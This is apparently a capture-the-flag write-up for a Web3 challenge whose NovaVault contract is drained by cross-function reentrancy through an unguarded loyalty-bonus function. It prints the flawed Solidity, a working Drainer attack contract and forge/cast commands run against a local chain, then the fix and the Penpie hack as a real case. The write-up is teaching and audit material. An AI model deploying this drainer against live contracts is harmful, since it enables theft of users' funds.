Operation NOVA CTF. Where early funds flies away from the vault.
A Tier 0 Web3 CTF writeup where the common vulnerabilities and old attacks make a comeback. Simple, basic, deadly, and still relevant.
Spoiler alert. This is the solution to Operation NOVA, our Tier 0 Web3 challenge. This post shows the flag, so if you still want to solve it yourself, pull the challenge and try it.
Operation NOVA ships a single artifact: a DeFi savings vault called
NovaVault that a handful of early depositors trusted with 1,337,000 ETH,
and you get one funded account and a single instruction, empty it. The flag
releases only when the on-chain balance hits exactly zero. What makes it worth
writing up isn’t the reentrancy, everyone has seen reentrancy since the DAO in
2016, it’s where the reentrancy hides. NOVA is built to look like a plain
reentrancy exercise, and that is the point. The withdraw everyone reads first
is textbook-correct, checks then effects then interaction, with a noReentrant
guard bolted on top, so a scanner ticks the box and moves on. The money actually
leaves through a loyalty-bonus feature added after launch, waved through as low
risk because it only pays out pocket change, and never guarded at all. This post
walks how the locked door stays shut while the vault empties through the window
next to it.
You can find the source code for this challenge in the following repository
What the player gets
Running the image brings up a local anvil chain on :8545 and a small
block explorer on :80. A contract called NovaVault is already deployed
and already holds 1,337,000 ETH, deposited by a few “early users” whose keys
the player does not have. The explorer hands over a pre-funded account to
attack from, shows the live vault balance, and prints the deployed source.
The goal is stated plainly: empty the vault. The flag releases only when the
on-chain balance of NovaVault is exactly 0. Flag format is CTF{...}.
The function everyone reads first
Most reentrancy writeups put the vulnerable call inside withdraw, with the
balance decremented after the transfer. Anyone who has seen the pattern once
checks withdraw first, and here is what they find:
function withdraw(uint256 amount) external noReentrant {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount; // effects before interaction
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
emit Withdrawn(msg.sender, amount);
}
Checks, then effects, then interaction, in that order, plus a noReentrant
modifier on top. It is textbook. A scanner that pattern-matches on “is the
withdraw guarded” reads this, ticks the box, and moves on believing the
contract is safe. That belief is the trap.
Where the money actually leaves
A second feature was bolted on after launch to pay a loyalty bonus. It was waved through as low risk because it only hands out a small reward, not anyone’s principal, so nobody looked at how it moved the money:
function claimLoyaltyBonus() external {
uint256 credits = withdrawalCredits[msg.sender];
require(credits > 0, "no credits available");
uint256 bonus = credits / 10;
(bool success, ) = msg.sender.call{value: bonus}("");
require(success, "bonus transfer failed");
withdrawalCredits[msg.sender] = 0; // effects AFTER interaction
emit LoyaltyBonusClaimed(msg.sender, bonus);
}
Two things are wrong and they compound. The external call uses
msg.sender.call with no gas stipend, so it forwards everything and lets the
receiver run arbitrary code. And withdrawalCredits is zeroed after that
call returns, not before. There is no reentrancy guard here at all, because
the guard was only ever put on the function someone expected to be attacked.
This is cross-function reentrancy. The account balance used by withdraw is
safe. A different piece of accounting, withdrawalCredits, is shared by a
less-scrutinized function that reenters cleanly. The lock on withdraw does
nothing for it: noReentrant protects one function, not the contract.
Draining it
Deposit once, then reenter claimLoyaltyBonus through the receiver. Each
reentry reads the same nonzero credits, because the state that would stop it
is only written after the whole call stack unwinds:
contract Drainer {
INovaVault public immutable vault;
uint256 public bonus;
constructor(address _vault) { vault = INovaVault(_vault); }
function attack() external payable {
vault.deposit{value: msg.value}();
bonus = msg.value / 10; // what each claim pays
vault.claimLoyaltyBonus(); // starts the cascade
uint256 dust = address(vault).balance; // whatever a full step could not cover
if (dust > 0) vault.withdraw(dust); // clear the remainder to land on 0
}
receive() external payable {
if (address(vault).balance >= bonus) {
vault.claimLoyaltyBonus();
}
}
}
Landing on exactly zero
The flag only fires at a balance of 0, and that constraint has teeth. Each
claim pays a fixed credits / 10, so the vault drops in equal steps, and
claimLoyaltyBonus reverts if a step is larger than what is left. Drain past
that point in one shot and the whole transaction rolls back.
There are two clean ways to hit zero. Deposit an amount equal to the balance
the explorer shows, 1,337,000 ETH, so the 10 percent step divides the total
evenly and the last claim leaves nothing. Or drain down to the leftover dust
and pull it out with a single withdraw, which is what the reference
contract above does so any large-enough deposit works.
Two practical notes made this solvable. The vault pays with .call, which
forwards all the gas the receiver needs to reenter: a .transfer with its
2300 gas stipend would have killed the attack outright. And the container
starts anvil with a raised account balance, because at the default 10,000 ETH
the drain would need on the order of 1,300 nested calls and hit the EVM’s
1024 call-depth limit before finishing.
# Deploy the contract and get the deployed contract address
forge create src/Drainer.sol:Drainer --rpc-url http://localhost:8545 \
--private-key <private_key_from_explorer> --broadcast --json \
--constructor-args <Vault_address_from_explorer>
export DRAINER=<drainer_address>
# Run the attack
cast send $DRAINER "attack()" --value 1337000ether --gas-limit 30000000 \
--rpc-url http://localhost:8545 --private-key <private_key_from_explorer>
# Balance should be 0 now
cast balance <Vault_address_from_explorer> --rpc-url RPC=http://localhost:8545 --ether
Why the guard did not save it
noReentrant on withdraw is a per-function lock. It stops that one
function from calling into itself, and nothing more. The moment value leaves
the contract through a different function that shares state, the guard is
irrelevant. The fix is not “add a modifier to the risky function”, because
you rarely know in advance which function is the risky one.
Zero the state before the call and the reentry finds nothing to claim:
function claimLoyaltyBonus() external {
uint256 credits = withdrawalCredits[msg.sender];
require(credits > 0, "no credits available");
withdrawalCredits[msg.sender] = 0; // effects first
uint256 bonus = credits / 10;
(bool success, ) = msg.sender.call{value: bonus}("");
require(success, "bonus transfer failed");
emit LoyaltyBonusClaimed(msg.sender, bonus);
}
Checks-effects-interactions applied to every function that sends value, not just the obvious one, is the actual defense. A contract-wide nonReentrant lock shared across all of them, or a pull-payment pattern that never sends inside the state-changing call, closes the same door from the other side.
This is not a museum piece
Cross-function and callback reentrancy keep draining live contracts, and not
from some dusty 2016 archive. On 3 September 2024 the Penpie hack
pulled about 27 million dollars off Arbitrum and Ethereum in exactly this
shape. Penpie’s staking path was guarded, but a permissionless
market-registration feature shipped after the audits let an attacker register a
malicious market and reenter _harvestBatchMarketRewards before it finished
writing state, inflating its own rewards on every callback. Same story as
NovaVault: the path everyone locked down held, and the value walked out through
a newer function that shared the accounting and never got a guard.
The review question that catches this is not “does withdraw have a guard”. It is “can any function that sends ETH be reentered before it finishes writing its state”, and it has to be asked of every function that moves money, including the one that only pays out a small, harmless-looking bonus.
We break exactly this kind of contract, guarded withdrawals, bolted-on features, and the shared state between them, as part of smart contract auditing. If you have one holding funds in production, get in touch.